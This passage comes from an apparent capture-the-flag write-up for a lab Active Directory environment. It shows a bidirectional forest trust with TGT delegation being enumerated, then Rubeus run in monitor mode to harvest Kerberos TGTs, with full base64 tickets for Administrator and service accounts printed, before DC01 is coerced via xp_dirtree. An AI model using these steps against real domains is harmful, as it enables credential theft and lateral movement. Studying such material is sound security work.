    0: darkzero darkzero.htb (NT 5) (Direct Outbound) (Direct Inbound) ( Attr: foresttrans )
    1: darkzero-ext darkzero.ext (NT 5) (Forest Tree Root) (Primary Domain) (Native)
The command completed successfully
</span></code></pre></div></div>

<p>This can be seen in the <a href="https://github.com/BloodHoundAD/BloodHound">BloodHound</a> data as well:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>20260311012852_darkzero-htb_domains.json | jq .data[0].Trusts
<span class="go">[
  {
    "TargetDomainSid": "S-1-5-21-1969715525-31638512-2552845157",
    "TargetDomainName": "DARKZERO.EXT",
    "IsTransitive": true,
    "SidFilteringEnabled": true,
    "TrustAttributes": 2056,
    "TrustDirection": "Bidirectional",
    "TrustType": "Forest"
  }
]
</span></code></pre></div></div>

<p><a href="https://github.com/sse-secure-systems/Active-Directory-Spotlights/blob/master/AD-Trusts/Enum-ADTrusts.ps1">Enum-ADTrusts.ps1</a> shows this with more detail:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="o">.</span><span class="n">\Enum-ADTrusts.ps1</span><span class="w">
</span><span class="go">[+] Added Trust between 'darkzero.ext' &amp; 'darkzero.htb'
[+] Added Trust between 'darkzero.htb' &amp; 'darkzero.ext'

Attribute                   Domain: darkzero.htb
---------                   --------------------

TrustDirection:             BiDirectional
TrustFlavor:                Forest
AuthenticationLevel:        ForestWideAuthentication
Transivivity:               Enabled
SID Filtering:              Enabled (Only SIDs from the forest of darkzero.ext are allowed)
TGT Delegation:             Enabled
TrustFlags:                 TRUST_ATTRIBUTE_FOREST_TRANSITIVE, TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION
Supported Encryption Types:

Legend:
1as per [MS-PAC] Section 4.1.2.2
'CrossLink' trusts are more generally known as 'Shortcut' trusts
'unknown' often indicates that the trust partner could not be contacted
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION</code> means that when a user from one forest authenticates to a service in the other forest, their TGT can be forwarded/delegated to that service. The service can then use that TGT to act on behalf of the user and access other resources. Normally in cross-forest trusts, TGT delegation is disabled, only allowing service tickets (referral tickets) cross the boundary. With it enabled, the full TGT crosses over, giving the receiving service broader impersonation capability. This permission also means I can abuse cross-forest TGT delegation to access resources in <code class="language-plaintext highlighter-rouge">darkzero.htb</code>.</p>

<p>It’s also important to note that SID filtering is enabled on this trust. This means I can’t forge a golden ticket with extra SIDs from <code class="language-plaintext highlighter-rouge">darkzero.htb</code> using the inter-realm trust key (<code class="language-plaintext highlighter-rouge">darkzero-ext$</code>), as the receiving domain will strip any SIDs that don’t belong to <code class="language-plaintext highlighter-rouge">darkzero.ext</code>. If SID filtering were disabled, I could use <code class="language-plaintext highlighter-rouge">ticketer.py</code> to craft a ticket with the Enterprise Admin or Domain Admin SID from <code class="language-plaintext highlighter-rouge">darkzero.htb</code> appended, just like I did in <a href="/2025/04/05/htb-ghost.html#shell-as-administrator">Ghost</a>.</p>

<h3 id="capture-dc01-tgt">Capture DC01$ TGT</h3>

<h4 id="strategy-3">Strategy</h4>

<p>As SYSTEM on DC02, I can run <a href="https://github.com/GhostPack/Rubeus">Rubeus</a> to listen for incoming authentication attempts. With that in place, I’ll have DC01, though MSSQL, request a directory listing from a share on DC02 using <code class="language-plaintext highlighter-rouge">xp_dirtree</code>. The MSSQL service is very likely running as NT SERVICE\MSSQLSERVER or LocalSystem or Network Service. If that is the case, then the authentication to DC02 will be as DC01$. If that happens, I’ll have a ticket that, which intended for use on <code class="language-plaintext highlighter-rouge">darkzero.ext</code>, will also work on <code class="language-plaintext highlighter-rouge">darkzero.htb</code>, so I can auth to DC01 as DC01$.</p>

<h4 id="listen">Listen</h4>

<p>I’ll download the latest copy of <code class="language-plaintext highlighter-rouge">Rubeus.exe</code> from <a href="https://github.com/Flangvik/SharpCollection">SharpCollection</a>, and upload it to DC02. I’ll run it in monitor mode, giving it a timeframe to recheck:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="o">.</span><span class="n">\Rubeus.exe</span><span class="w"> </span><span class="nx">monitor</span><span class="w"> </span><span class="nx">/interval:10</span><span class="w"> </span><span class="nx">/nowrap</span><span class="w">
</span><span class="go">.\Rubeus.exe monitor /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: TGT Monitoring
[*] Monitoring every 60 seconds for new TGTs


[*] 3/12/2026 1:00:07 PM UTC - Found new TGT:

  User                  :  DC02$@DARKZERO.EXT
  StartTime             :  3/12/2026 1:00:07 PM
  EndTime               :  3/12/2026 6:01:18 PM
  RenewTill             :  3/18/2026 10:16:18 PM
  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket   :

    doIFdDCCBXCgAwIBBaEDAgEWooIEjDCCBIhhggSEMIIEgKADAgEFoQ4bDERBUktaRVJPLkVYVKIhMB+gAwIBAqEYMBYbBmtyYnRndBsMREFSS1pFUk8uRVhUo4IERDCCBECgAwIBEqEDAgECooIEMgSCBC75WzuY9dMU017Dovi7DzAOc5cvyZj8bv1+9K1ue9q+Mhy34CgZXBL+M7R6p6ODe/iEol3X7Z/+aebSZ7fivV2OFVaYgoEkdmwex5OEjYki0FI23+jGfdrNrhqi9W78DtPhYdypK1wTJWPjhX7UyoBdKz90tC9/rcj9uafw8155JOvMB3dhRlBVP74WfD+B4CjQ7fdaEeHv97B5+9K1FBvsBqXYuOa7GYzx5Ao6vuG1G+4yyzvhsoUHT9bmhxyfk4H8dYXrtd0BG5p+88HbgSQu92Yhz2zFH1YKAtEunbQjakulK6dZrnWCPc4VdkFMaRqZsOFu/DBDtuHW3uNa4kpbcRibWU27/BSl4fp8q3tIOXXYVZNO8jWLQGEhCUz6eWAm4fiwJ9tx+vDlhXFmXKI85mKe5a1HyADMEk/nYaIb5LtePgM0/tmL7QaB54VvxSSYm2AEN/dF8km0qHm1wHHkobu8y3kDwMtY5S4qS/MRgNi9RNKRVMKQop3KVjE/f1AahAR1RxGZPPR9sY/C9ik9HVRrR4Esk/cDTprC+u3bq2Bj+VdVLFKetGMhw1ozzhKf29lF7bfG8Gt9saXvE/L1zQcG/MFpomrf2l8SUjzJ7nJRHM7XqxgQwWtYqjtsRh/B2c0dfK50K7PFIf6tMUFwEBe6w1CdreTa7dUzm0qU9ArDn+hYcdbpX3EvoD2ADzGb9dY4egeihJ534g9duGdWnUMkoT5RrE7Qd1w5diWmGR41+eco3YF8+nRgjgBsDkJKwm83K+LQx75azrBu/xldkdSPbES52duB4tTMFJC/E1J+IU1cIwGHlw01caXP3IRNzkiJo3DxfLqFjeLNYMG7F1JXrtrlRHsEC46+5kERTQEl7+iuLA/sdWIEfiTChGNctucjqvsizmXoy51fuV0Yv15IY8K5VIwP+ZKjyGmlCMvRHO8zA3gK43Jovq00TKnKFN5OsCwJRPw2z2xjAqnozIbGbv/gNJC4ZNLosPTcqCuE6Zpf4JqMPPLyj4iyozbmSAY06B6yqoeEPY14A7iraHWI+K9AIk4GaadF5RhxTnn4G9dqASAUAXaqBqxDevLDCJgkCjw5naGo0G4zF6QEnKv7J2y4SyKtIf1pdM5v8RwClv9NX8CvyukNzq1E5fGDXfIX73gP7gROwTMza7U3QVfVUrocHXO5O8yotgG5nTPcbvp6IoO6ZwjTMfW3xx0Zkp0pcuodyPNoG3XkMMbhgGd1xKhmGxy9hhcJDnz865HnAHMxti8yw1lt5YRmnnUHveMIkOVDDkk5jH7n9E3sD6GuenQjp/c9TfvagFku5rJMGwYNBvCRRvPjexZpqMVvhl2ZqQZO9BFSFAsIJDh5JX68Yx0btmGwEpnt5ubyqs50qszu6U33j0XE4yZWzCBLzBwjJ8Avd7M7OkrYqKOB0zCB0KADAgEAooHIBIHFfYHCMIG/oIG8MIG5MIG2oBswGaADAgEXoRIEEB//YHO3rkM6n+cRDfda5KahDhsMREFSS1pFUk8uRVhUohIwEKADAgEBoQkwBxsFREMwMiSjBwMFAGChAAClERgPMjAyNjAzMTIxMzAwMDdaphEYDzIwMjYwMzEyMTgwMTE4WqcRGA8yMDI2MDMxODIyMTYxOFqoDhsMREFSS1pFUk8uRVhUqSEwH6ADAgECoRgwFhsGa3JidGd0GwxEQVJLWkVSTy5FWFQ=


[*] 3/12/2026 1:00:07 PM UTC - Found new TGT:

  User                  :  Administrator@DARKZERO.EXT
  StartTime             :  3/12/2026 12:35:20 PM
  EndTime               :  3/12/2026 10:35:20 PM
  RenewTill             :  3/19/2026 12:35:20 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  Base64EncodedTicket   :

    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


[*] 3/12/2026 1:00:07 PM UTC - Found new TGT:

  User                  :  DC02$@DARKZERO.EXT
  StartTime             :  3/12/2026 6:47:09 AM
  EndTime               :  3/12/2026 4:47:09 PM
  RenewTill             :  3/18/2026 9:16:48 PM
  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket   :

    doIFlDCCBZCgAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoQ4bDERBUktaRVJPLkVYVKIhMB+gAwIBAqEYMBYbBmtyYnRndBsMREFSS1pFUk8uRVhUo4IEVDCCBFCgAwIBEqEDAgECooIEQgSCBD4GnTJwoicOYBqZ1RpOHUDNUpaAh/87S9SZckhPQoaXdeal0BL0E7CqrQOARY6b9NkHE2cS7OuRPrdpWxQsxx23yjcNIK3WkLnBipF7TL5iDDxyelIGIhrzQobEcl7HVAssSRq3Qu4ybb0g0sagHNGQbzcfSCEK4oqLIpvt0aw3M5z8rfvXe+izZCVSpqs6XTn9U5WaJp/62Dat7bxKksyxoTnAfah+xxo97fE1er94OxRR7vWijtdbHxFW7h2FcaKazoB6y58XF7gtNdoap4b5pL6gA8QD3Oeq6wJbQ8ZHdSjg9ediRqG2lzIK11VaeBc2yddpSLt7xPN7i0wbqs/PoeoFv66w5jGDE00WOzGeroX4oYGJA8KT61YPVVmGmbMYQU3yesO/X/uv0hiZQEL6B/SpDQswWPnx6TWociiWAhko8cGrJtmlIvVTYs3Ze6r8IQUcILfpepV1nNnGtPfGuGKqtvQr/wDd05C77Z5KpthSTw5I0oHR0qvC+q6z7ho6NWTXbbBHKgq6XItrkBrN1S+0Ql+tlzLw2eJkSC6ygKt0v+FfNAjlFKsh1yFJiv7qP7lhNklmk5ACuGtN57HNULdsdYqRjTnLO+2pSGlZ2Z2TWL6C4o//LHsE0C3d0XZvlpGj8Usei+hY8HZ+tTrHOq55Via4Bn3tDDiqtNGEvWB+uz9lVY6d1fie6Z6fklxxLc9DWLONAMrRN5otkAxpU77vgW+kJQ++NgzZd3QnXzs55GG29o29fNFUWmggGaFJxhFlUl7jhYWE6ef8K+LAT721BncS12r+sAVMwwGuFUTXwgYFN5ZC72DvQrLjCMzrd0+AIXYJnCazx0sCG0TPXhy6mhxE0tgVGtxwkiYsw/4iNKtBq20TjFzi7s8JVOq/rCLsu3mWpHamJEqD/duaKcs9cT4kYm+gYkxRa50gDtI3sIjrVdzc88thsQ3h1DFfDy2veQKhbdO7ReFDlSSqAZHxEBUu4Bpys8+O4MON8tG/7Q+J7Q1vbKK1jQd4LqJNVZjeTNO5voCDEotU+5ikgS4L3mM5Q8jawtxmj4pbcgr8dxGdIO9yiHXci513+6I2/qzjsSf+6xfoI+4UfqVEZP9vUgQ0sGRPsu3Ps4j/H+p29iwRI+KFW+2aAHMOnOGD9ltytwBiCkMvY+ZMTE417zhKZGYwv951limnRfAQLHBt3h04TAnZJkKW/JiJyl+IqctS8xW+koEPap2iBTHOXcXoa+/6ukO7fUxlqjxtEXhGd/+YlJQD89EBm8FTR7XjC+wAYEgmuXJEwAD8Bg7qJ5mWE6GXpSrYLBaIG8rYDxIEK3FDawV9Oud9UPjz8SEmlxa8GAP8VLO4qzGpQE1F926AUUzO/LySqRyZGqDxHvNdmXxskBkd9LqPn53N8ZgC5nvdUQuSDVIFmWeiGD/MafYb2uzRu0NtD9rVAVSjgeMwgeCgAwIBAKKB2ASB1X2B0jCBz6CBzDCByTCBxqArMCmgAwIBEqEiBCDyEHhApB8tY7HUuwYHiMicKGX28MkoB3yvCcGWZZx+bqEOGwxEQVJLWkVSTy5FWFSiEjAQoAMCAQGhCTAHGwVEQzAyJKMHAwUAYKEAAKURGA8yMDI2MDMxMjA2NDcwOVqmERgPMjAyNjAzMTIxNjQ3MDlapxEYDzIwMjYwMzE4MjExNjQ4WqgOGwxEQVJLWkVSTy5FWFSpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDERBUktaRVJPLkVYVA==


[*] 3/12/2026 1:00:07 PM UTC - Found new TGT:

  User                  :  Administrator@DARKZERO.EXT
  StartTime             :  3/12/2026 7:05:42 AM
  EndTime               :  3/12/2026 5:05:42 PM
  RenewTill             :  3/18/2026 9:20:42 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  Base64EncodedTicket   :

    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


[*] 3/12/2026 1:00:07 PM UTC - Found new TGT:

  User                  :  svc_sql@DARKZERO.EXT
  StartTime             :  3/12/2026 7:03:22 AM
  EndTime               :  3/12/2026 5:03:22 PM
  RenewTill             :  3/18/2026 9:18:22 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  Base64EncodedTicket   :

    doIFgDCCBXygAwIBBaEDAgEWooIEhjCCBIJhggR+MIIEeqADAgEFoQ4bDERBUktaRVJPLkVYVKIhMB+gAwIBAqEYMBYbBmtyYnRndBsMREFSS1pFUk8uRVhUo4IEPjCCBDqgAwIBEqEDAgECooIELASCBChaiHc8bO7d5zUNo/Xngb230kcRo84gZEE533FbhEOgqEAdd741RUi/dgP/EpswMnt73zrfTRoWwcFuF8zs1aaDXW3rmlrrocpm5gXqGAyVKqvE74E+pr6ytnPAw+2bngMOZe8HE0F5DLN9CXLfssRhKgEO6mXn+MU+pZ9t/fZ1BhmHXcF8l4tRgrJDpJsFagYOoymZn+Tlr3Fe2zpf87EOrhizfK8rOFKQR+7Fr5YlaEMj7tURkIgVZNCc9+eCnheODKV3xNnnvm2nnm/A7FlQxf0QxzFfFM0wRVKwnDe/XWpey4F+yNQIY7c/fvKw5UcQFG6S1Vcl5iwEiA3dhv8btCb04IfL5GakkXju6R5sq0K7uOapnhIYnDsrxWGG2jzqBDwjh+AGf/D4i8ePmNONrnQKKeBc5fKi2g7n2VYmu0loLtirGzsivVRnWSvb03GaDCxYFNQhoyn4MQNbynRdo6ytPyhl2OpYS2xodBpwyKQ5LT5YtxCyot/P8uGYNIBlJIyZ0e5B9WwHUUDQkYhaWBOYn3cXFBnl+1+3UmVe32b6roqFcWLu+y0VpfZVPzeXhY20cOXBBG/mDHGCLhbiYGJc0JHqJV+VImtHKCX/R4R3tH/yz4ciLSRmr/wWavRjrbs5ijHoRzJc9yYOWYnK6ZgRNFZNAZRWQ+FbvkAlw3PIBLk9Tl/wohYhXa0uGP9T8NquC1aqvGk5oKaepqtTukt5cQdC7LNivQ0MH5FNwnXjV6M/KrBCJ6+dYYdk/MH5logZmdNU/s3/EkcqLMA3VASm7PTYsFb2IBnz6mkHhluP0BhXaNjCvKUmSHpBBriNaQAoHWSkOteSfISX3N9j8YXRgTFV27odYqP/WYZ/8NNus9oHjPSe8atBQVx2Q9wjr5lvhek0ZxRzspLgpN1EHH3Kzgp1oMXikucVzf5cQVyHhdV4uOGPT2d3v/6Sjuoa1ACEaTmkEYGPX7Gl5pxmQUpAdZOtPvO6n7uypl1Kr2L/pyza9M3eCvpF8U8AoLobxqazCzWofLE0eeQwfGpUES3fU/v4GorpEuIYGgGuKSMECaors4pF/xePWbqU/z1VPGN42Am7z92MSTzWhVRN/wcnt0/dFfMcYmzSK9Rtx+ammz6Qx61exkebCn20Gj1U9ThPAcqlFc8xiuEFyGajnperkS7M9p8FMx3DgTEQy0Mfdd5CUE+gV0drUlBh5ngOmLIJNaPMhrI7ThG1cF54WyuPxNy9e+7GgwCbeXv+MAhPMqHibdg+ziwVzYkeWhPc4V78nlGJCGXwZGOvrolgTtmxsjJkjU1rl6l/mUQiW/cpO5NnYHKNyLy2WVu+R/jZ7M01/PdnNJQaqeTLFquunk3DwUrR+XP2NoirAlSyfhFETCI2/fNip+85cl6N8gzyYDGiLpUCLKOB5TCB4qADAgEAooHaBIHXfYHUMIHRoIHOMIHLMIHIoCswKaADAgESoSIEIPY+UCNjXBonExojXtQ/a/Ro5G+rL0Q40VjQV/8hfoQwoQ4bDERBUktaRVJPLkVYVKIUMBKgAwIBAaELMAkbB3N2Y19zcWyjBwMFAEDhAAClERgPMjAyNjAzMTIwNzAzMjJaphEYDzIwMjYwMzEyMTcwMzIyWqcRGA8yMDI2MDMxODIxMTgyMlqoDhsMREFSS1pFUk8uRVhUqSEwH6ADAgECoRgwFhsGa3JidGd0GwxEQVJLWkVSTy5FWFQ=


[*] 3/12/2026 1:00:07 PM UTC - Found new TGT:

  User                  :  DC02$@DARKZERO.EXT
  StartTime             :  3/12/2026 11:17:29 AM
  EndTime               :  3/12/2026 4:47:09 PM
  RenewTill             :  3/18/2026 9:16:48 PM
  Flags                 :  name_canonicalize, pre_authent, renewable, forwardable
  Base64EncodedTicket   :

    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

[*] Ticket cache size: 6
</span></code></pre></div></div>

<p>It immediately dumps out TGTs for DC02, Administrator, and svc_sql, all on <code class="language-plaintext highlighter-rouge">darkzero.ext</code>. None of these are useful for pivoting back to DC01. Then it just hangs listening. Every 10 seconds it may report another ticket for one of these.</p>

<h4 id="coerce-1">Coerce</h4>

<p>From an MSSQL shell on DC01 (not over the link), I’ll use <code class="language-plaintext highlighter-rouge">xp_dirtree</code> to try to read from a share on DC02:</p>

